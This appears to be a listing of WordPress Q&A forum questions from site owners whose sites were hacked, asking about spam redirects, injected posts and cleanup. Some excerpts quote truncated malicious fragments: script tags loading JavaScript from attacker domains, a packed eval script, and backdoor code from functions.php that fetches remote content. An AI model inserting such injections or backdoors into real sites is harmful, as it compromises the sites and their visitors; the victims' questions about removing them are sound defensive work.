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Website show Google Ads when we have no Google Ads linked to our website

Today we noticed that one of our website has started showing random Google Ads on our website when we have not added any Google Ads to our website. I would appreciate if someone can help in case they ...
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Spam Content Serving from old cached version of site?

I've been doing WP for over a decade now, and have fixed / remediated my share of hacks. However this one really has me stumped.. I have a site running on updated, patched, and pretty darn secure ...
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Multiple attempted logins originating from the server IP itself?

I have recently migrated several sites to a new server using easyengine, which created a separate set of docker images for each WP website. Internally on my server, each of these sites gets a private ...
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sitemap contains weird links and does not contain my pages [closed]

I was about to submit my wordpress auto-generated sitemap to Google Search Console but I realized my sitemap contains weird links and it doesnt contain any of my actual pages. I checked example.com/...
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Site displaying Internal Server Error 500 just as suspicious comments flagged as spam

In my 13 years of Wordpress, I've never seen anything like this. About an hour ago I was alerted by one of my users that the website was displaying an Internal Server Error 500 message on every page. ...
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How to solve wordpress redirection (no malware was found)?

I have a website built on WordPress. The URL ia www.travelmakerismymiddlename.com At some point, the website started redirecting randomly - I cannot tell you which link or page specifically redirects, ...
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WordPress disable direct access of files in WordPress installation path

I want to add a security feature to my WordPress website to stop direct access to files added to the root of WordPress installation, recently I discovered that a malicious plugin added some files to ...
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malware undetectable by multiple scans

I would like to inform and request help from the community. What happens is this malware was in the folder / wp-content / uploads / 2020 / Named index.php And I found him in the year 2017 in the ...
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How to mass delete one line from all posts after site hack

My Wordpress site has been hacked and every post has had <script src='https://crow.lowerthenskyactive.ga/m.js?n=ns1' type='text/javascript'></script> added to the end of each post which I ...
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My WordPress Blog sends malicious traffic to other sites [closed]

I'm running a wordpress blog on a Compute Engine VM on Google Cloud. A few days ago, I received an email from Google telling me that a potential violation of their Acceptable Use Policy has been ...
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Hacked website redirect, only on desktop, help with restoring it [closed]

This is my first post, I tried searching for similar problems, didn't find any that would fit my situation. Anyway. Recently my cousins website got hacked, I decided to take a look and try to fix it ...
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Am receiving more than thousand mails in single day from 'sample@email.tst' continuously

Am using 'WP Offload SES Lite' Plugin to collect Question & Answer through forms. But yesterday I was receiving thousands of mail in a single day continuously. I think someone tried to hack the ...
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Is this a hack? WordPress Usernames of every website we have changed into one single name automatically?

We host a lot of WordPress websites, today we noticed that almost every WordPress website we hosted changed their users' usernames into one single name, not only one user all the users of a website is ...
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Wordpress Hacked 5.5 admin-ajax.php [closed]

I am using the latest version (5.5) of WordPress themes and plugins. I also have 2 custom-written add-ons. I tried all the protection methods I know of. wp-config.php and wp-admin url and admin nick ...
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How to bulk delete a certain part of all wordpress posts

site been hacked, and all posts been injected a line of js code under the content! <script src='https://js.xxxxxxx.ga/stat.js?n=ns1' type='text/javascript'></script> I have found the ...
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Invisible spam post in backend

I do have a problem on my WordPress site. In the frontend there is a spam post (not a comment, a post) visible to everybody. I don't know where it comes from and all malware scans were negative so far....
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How to find exploited wordpress plugin [closed]

Some information: Yesterday I found out that my wordpress page has been 'hacked' (for the lack of a better word). Everyone going to my page was redirected to a http://mywordpresspage.com/NetflixXXX ...
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Should I prevent access to .htaccess and wp-config.php files?

Someone at stackoverflow suggested I should deny access to the two files by doing below in .htaccess. <files ~ "^.*\.([Hh][Tt][Aa])"> order allow,deny deny from all satisfy all </files&...
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WordPress Database Re-installed (Hacked)

Over the past 2 days, exactly in the hour of 8 o'clock, my WordPress blog has rendered with one sample post, as if the databases are being reinstalled. The database usually holds around 2-3 years of ...
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Copy wordpress website pages and content

My Hosting account got hacked and malicious files are being auto generated. I can upload fresh themes and plugins in a new hosting account. What is best way to transfer content without the malicious ...
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Could a user account with a stolen password compromised entire WP site?

Assuming a user with Subscriber role account with a weak password has been hacked. So, can someone use this account to compromise a WP site?
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How to log into WordPress via GET/POST

I have an old WordPress site, which I have no FTP access or anything and in WP-Login.php I'm getting this message. But I remember my login credentials, mail and password. Is there anyway I could ...
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How To Clean The Malware Infected & Hacked WordPress Websites? [duplicate]

I have some websites build with WordPress. My sites are affected by Malware programs and Hacked by someone frequently. Finally got a solution to stop this issue. I create this post for share my tips ...
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My wordpress site was hacked - is my htaccess file compromised?

My Wordpress site (on a shared server) was compromised. It's full of spam links when I do a google site: check. I removed a re-direct through cpanel so at least now the spam pages do not re-direct ...
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What to do about a hacked WordPress website and server? [duplicate]

My WordPress website has been hacked. Google sent me an email stating that the site would be listed in browsers such as Google Chrome and display a warning when users visit or download certain files ...
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What's the effect if this malware if infected your WP?

Just curious here and I need better understanding about this malware. Because their are websites are infected by this malware including my websites. But I can clean them all. Usually this malware ...
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Malware script in database post table only? [closed]

How can java script be visible in phpmyadmin posts but not visible within the wordpress environment?? Been struggling to clean a wordpress site after an annoying hack which popsup ads and redirects. ...
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How do I know if my WP Theme is using infamous TimThumb?

Is there a way to know if my current WordPress theme is using the infamous TimThumb plugin?
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Subpage is redirecting to spam site

My Wordpress site has recently been hacked and I followed the steps described here to clear it: https://wordpress.org/support/article/faq-my-site-was-hacked/ The whole site redirected to a spam ...
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Why wordpress is hitting another url

I got a mail from main hosting that your wordpress site is attacking or hitting another website each and everytime it loaded. I have checked all the plugins and code but couldn't find any solution.I ...
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Javascript Injection on my WordPress Site

My WordPress site is redirecting the user to some ad sites. It has generated some random clicks and each click redirects to the ad site. Also, now my site is labeled as dangerous by google. I have ...
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Spam pages hack? [closed]

A few days ago I noticed a few blog posts on my site that were spam and I knew I had been hacked. I did a few things in an attempt to clean the hack (Wordfence deleting unknown files, securing the ...
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how can i find malware code and remove from wordpress site to stop it redirecting to hackers click view pages

how can I find malware code and remove from a WordPress site to stop it redirecting to hackers click view pages
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Check for malicious code?

I have searched around and seen 'what to do if your site is hacked', and I'm not (necessarily!) looking for a plug in. The site I look after was hacked a while ago and I think all is well now. I ...
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Why would a hacker add this code to each post, and how to do mass cleanup?

Here is example of code I have seen inserted in two different posts: <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){...
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New user is assigned 2 roles: customer and superadmin

I've a question about user role in WordPress. After new user already registered. They can access with superadmin and customer role. They can access to /wp-admin/, create blog, etc.. For my ...
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Help determining if the following are legitimate files

I have installed wordfence and did a scan and I have the following warnings. I am not sure if they are left over from a hacking attack last year that sitelock have not removed or if they are required....
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Is this a hacking script in function.php?

I have code like below in neve theme WordPress. I feel suspicious about this code $wp_auth_key='ac15616a33a4bae1388c29de0202c5e1'; if (($tmpcontent = @file_get_contents("http://www.darors.com/...
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Is there a simple way to set wordpress site files back to out of the box?

I have an amateur wordpress site for a club which seems to have been hacked. With some help on here I have undone some of this but I've still got quite a few problems. Mainly I can't get into the ...
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My blog was hacked? WP posting random posts

I have been searching at this site posts about blogs being hacker, but I haven't find something like this. One of our Editor's account has started to publish random posts. Our first thought was his ...
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Have I been hacked - getting new site setup email for 8 localhost wordpress sites

I've just found some emails in my spam folder saying a new wordpress site has been set up on my local server, for 8 already existing wordpress installs. I'm assuming its been hacked but am not 100%. ...
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Is my WP site being hacked?

In the past month or so I've seen 3 or 4 new users signing up each day with "awkward" usernames (letters/numbers). Then, a few days later, they start changing their password. And then a few days later ...
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Open content directory help!

I just found out tha I have a wp-content directory that is open where you can see all of my files that I have on mysite- pdf's, jpgs, etc. Files that are meant to be for members only as well....all ...
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Some one is trying to hack my website, Need guidance [closed]

There are multiple IPs that are trying to access my directories. I am using iThemes Security plugin and it shows the following lists. These are the files all of the IPs are trying to access every ...
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Site Hacked - Wordpress Divi Site - Cannot find where to fix the issue? [closed]

I need help trying to find out where to look to find out how to get rid of an issue on a wordpress site I manage. If you go to http://www.thedailycrave.com you will see if you scroll down to the ...
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You appear to have already installed WordPress. To reinstall please clear your old database tables first

My website was crashed by hackers and i am trying to restore from my backup. i have deleted all old files and trying to restore from the backup. i copied all my WP files in public_html. after ...
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WP Site Hacked, Serp Google Spam [closed]

It all began when Google Ads suspended my ads because they found a malware in my WP site. I tried to do scan with some free plugins: Wordefence, anti-malware and Securi, or online tool like: sitecheck....
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Unfamiliar query string in Google Search Console URL not found

An old client site was hacked. After deleting the old site and rebuilding a new site, the Google Search Console has quite a few (50 or so) URL not found with this address pattern. /category/...
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How can I find security hole in my wordpress site?

Last day I've noticed that my site is hacked and a PHP backdoor is installed on my site. Virus scanner reported that a plugin file is inside my wp-content/uploads which I did not upload it myself. It ...
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What does this code do? (Injected code hacked)

This code below was been injected in my wordpress theme on functions.php Can someone explain me what does the code do? how that was been done? $div_code_name = "wp_vcd"; $funcfile = __FILE__; if(...
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